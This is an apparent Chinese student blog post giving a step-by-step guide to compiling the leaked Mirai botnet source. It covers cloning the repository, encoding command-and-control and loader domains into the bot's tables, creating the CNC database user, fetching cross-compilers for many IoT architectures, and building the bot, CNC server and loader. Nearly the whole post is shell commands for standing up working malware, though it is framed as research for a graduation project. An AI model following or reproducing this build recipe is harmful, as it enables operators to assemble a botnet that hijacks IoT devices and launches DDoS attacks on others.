恶意代码Mirai的编译

作者: 小生不cai | 来源:发表于2018-06-13 16:13 被阅读785次

        毕业设计的题目是恶意代码Mirai的研究与实验,所有趁着刚学完打算写点文章做做笔记。从运行原理和原帖的安装指导中不难看出,安装主要分为编译,主控安装,接收器加载器安装等几部分。

1、 源码下载地址:https://github.com/jgamblin/Mirai-Source-Code

下载命令: git clone https://github.com/jgamblin/Mirai-Source-Code

2、 环境要求:

. 操作系统: linux

. gcc

. golang

. electric-fence

. mysql-server

. mysql-client

3、 环境安装:

. 安装gcc编译器:sudo apt-get install gcc  (苹果电脑使用brew install gcc)

.安装编译环境:sudo apt-get install build-essential

. 安装go语言: sudo apt-get install golang (苹果电脑使用brew install golang)

. 安装内存调试工具electric-fence: sudo apt-get install electric-fence (苹果电脑使用brew  install electric-fence )

. 安装数据库: sudo apt-get install mysql-server mysql-client(安装时需要设置数据库密码请记住)

4、 编译加密模块和配置CNC

cd Mirai-Source-Code-master

cd mirai/tools && gcc enc.c -o enc.out

./enc.out string Master_domain

将返回一段字符串(\x....)

./enc.out string Loader_domain (Master_domain表示主控服务器域名,Loader_domain表示Loader服务器域名)

将返回一段字符串(\x....)

修改/mirai/bot下tables.c文件,将执行上述两条命令返回的字符串分别替换add_entry(TABLE_CNC_DOMAIN 和 TABLE_SCAN_CB_DOMAIN)两项中类似的字符串

修改/scripts目录下db.sql文件,在CREATE DATABASE mirai后的空行添加 use mirai 字段

5、 启动MySQL服务

service mysql start

cat db.sql|mysql -uroot -proot (p后为数据库密码)

mysql -uroot -proot mirai

INSERT INTO users VALUES (NULL, 'mirai-user','mirai-pass', 0, 0, 0, 0, -1, 1, 30, '');

exit

修改/mirai/cnc下main.go中database相关字段,与设置的数据库匹配

6、 配置交叉编译环境

命令行切换到scripts文件夹下

cd .. && mkdir cross-compile-bin

cd cross-compile-bin

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2 

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2 

wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2 

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2 

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2 

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2 

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2 

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2 

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2 

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2 

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2 

cd ../scripts

sudo ./cross-compile.sh

编译过程会提示是否安装mysql,选否就可以

修改.bashrc,把刚才交叉编译的bin 目录加进去方便使用

export PATH=$PATH:/etc/xcompile/armv4l/bin

export PATH=$PATH:/etc/xcompile/armv5l/bin

export PATH=$PATH:/etc/xcompile/armv6l/bin/

export PATH=$PATH:/etc/xcompile/i586/bin

export PATH=$PATH:/etc/xcompile/m68k/bin

export PATH=$PATH:/etc/xcompile/mips/bin

export PATH=$PATH:/etc/xcompile/mipsel/bin

export PATH=$PATH:/etc/xcompile/powerpc/bin

export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin

export PATH=$PATH:/etc/xcompile/sh4/bin

export PATH=$PATH:/etc/xcompile/sparc/bin

export GOPATH=$HOME/go

修改完成后执行 mkdir ~/go和source ~/.bashrc

7、 编译CNC 和BOT

go get github.com/go-sql-driver/mysql

go get github.com/mattn/go-shellwords

修改/mirai目录下build.sh文件,删除与armv61相关的语句

命令行切到/mirai下执行 ./build.sh debug telnet

cd ../loader

./build.sh

8、测试

telnet 127.0.0.1 输入账号密码,测试成功,此外debug文件夹下面会有我们编译好的文件。

相关文章

  • 恶意代码Mirai的编译

    毕业设计的题目是恶意代码Mirai的研究与实验,所有趁着刚学完打算写点文章做做笔记。从运行原理和原帖的安装指导...

  • Mirai源码解析

    Mirai概述 mirai,2016年一个备受关注的DDoS攻击程序,与传统的僵尸网络不同的是,mirai的控制的...

  • Kuriyama Mirai's Stones

    Kuriyama Mirai's Stones Kuriyama Mi...

  • Android APK 反编译教程

    反编译的目的是有助于我们学习规范代码,而不是植入恶意代码,窃取他人智慧成果。 Don't be evil. 本文介...

  • 如何下载Virbox Protector

    Virbox Protector有效防止APP被逆向分析,反编译,二次打包,防止嵌入恶意代码.一站式互联网安全解决...

  • vmware 恶意代码分析虚拟机网络环境配置 Apate、Ine

    前言 学习恶意代码分析的第一步就是配置网络环境,网络环境配置好以后才能放心的运行恶意代码进行分析。 分析恶意代码首...

  • 恶意代码分析实战 第十八章 加壳与脱壳

    打包程序,也称为加壳器,他们能够对反病毒软件,复杂的恶意代码分析过程隐藏恶意代码的存在,另外能缩小恶意代码可执行文...

  • 恶意代码分析实战 第十八章 加壳与脱壳

    打包程序,也称为加壳器,他们能够对反病毒软件,复杂的恶意代码分析过程隐藏恶意代码的存在,另外能缩小恶意代码可执行文...

  • 第0章 恶意代码分析入门

    0.1 恶意代码分析目标 恶意代码分析的目标一般是为一起网络入侵事件的相应提供所需信息。  恶意代码分析可以用来编...

  • xss 简述

    分类 存储型 恶意代码存储在服务端,用户访问时服务端把恶意代码拼接到html中返回 反射型 恶意代码包含在url中...

网友评论

    本文标题:恶意代码Mirai的编译

    本文链接:https://www.haomeiwen.com/subject/yzmkeftx.html